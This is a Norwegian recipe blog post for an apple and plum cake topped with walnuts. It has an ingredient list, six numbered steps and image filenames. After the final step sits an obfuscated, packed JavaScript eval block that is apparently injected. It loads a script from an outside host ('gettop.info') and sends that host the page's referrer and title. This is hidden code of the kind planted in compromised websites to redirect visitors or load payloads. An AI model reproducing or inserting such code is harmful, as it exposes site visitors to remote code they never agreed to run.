Eple- og plommekake med valnøtter


  

epleogplommepai

Her en favoritt fra arkivet, på selveste epledagen, høstens skatter i skjønn forening med valnøtter på toppen:) Serveres sammen med vaniljeis.

Enjoy!

Ingredienser11-1024x865

Ingredienser

5 kokefaste epler

800 gr plommer

1 sitron

1 dl sukker

50 gr valnøtter

Deig

100 gr mel

50 gr sukker

2 ss bakepulver

1 ss kanel

1/2 dl sukker

3 ss melk

1 egg

eplekok-1024x680

  1. Fjern kjernehuset på eplene og skjær i skiver. Legg epleskivene over i en kjele, tilsett sukker og hell over sitronsaften. Kok opp og kok videre på svak varme i ca 5 minutter.
plommekok-1024x680

2. Del plommene i to, fjern stenen og bland med eplene, kok ytterligere 5 minutter.

epleogplommekok-1024x680

3. Hell over i en smurt paiform og sett til side.

deig

4. Lag en paideig ved først å blande mel, bakepulver, kanel og smør til en smuldre deig, bland deretter inn sukkeret. Når sukkeret har fordelt seg jevnt med deigen tilsetter du melk.

egg1-1024x680

5. Og helt til slutt tilsetter du et pisket egg. Konsistensen skal ligne på en tykk sukker kake røre.

valnøtter-1024x680

6. Fordel deigen jevnt over formen, bruk en skje og lag små klatter her og der. La det være igjen noen åpninger. Dryss over grovhakkede valnøtter og sett inn i ovnen på 175 grader i ca 20-30 minutter. La kaken sette seg noe før du spiser den, kan spise varm eller kald, med eller uten is eller vaniljesaus.

epleogplommepai

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Write a comment

Your email address will not be published. Required fields are marked *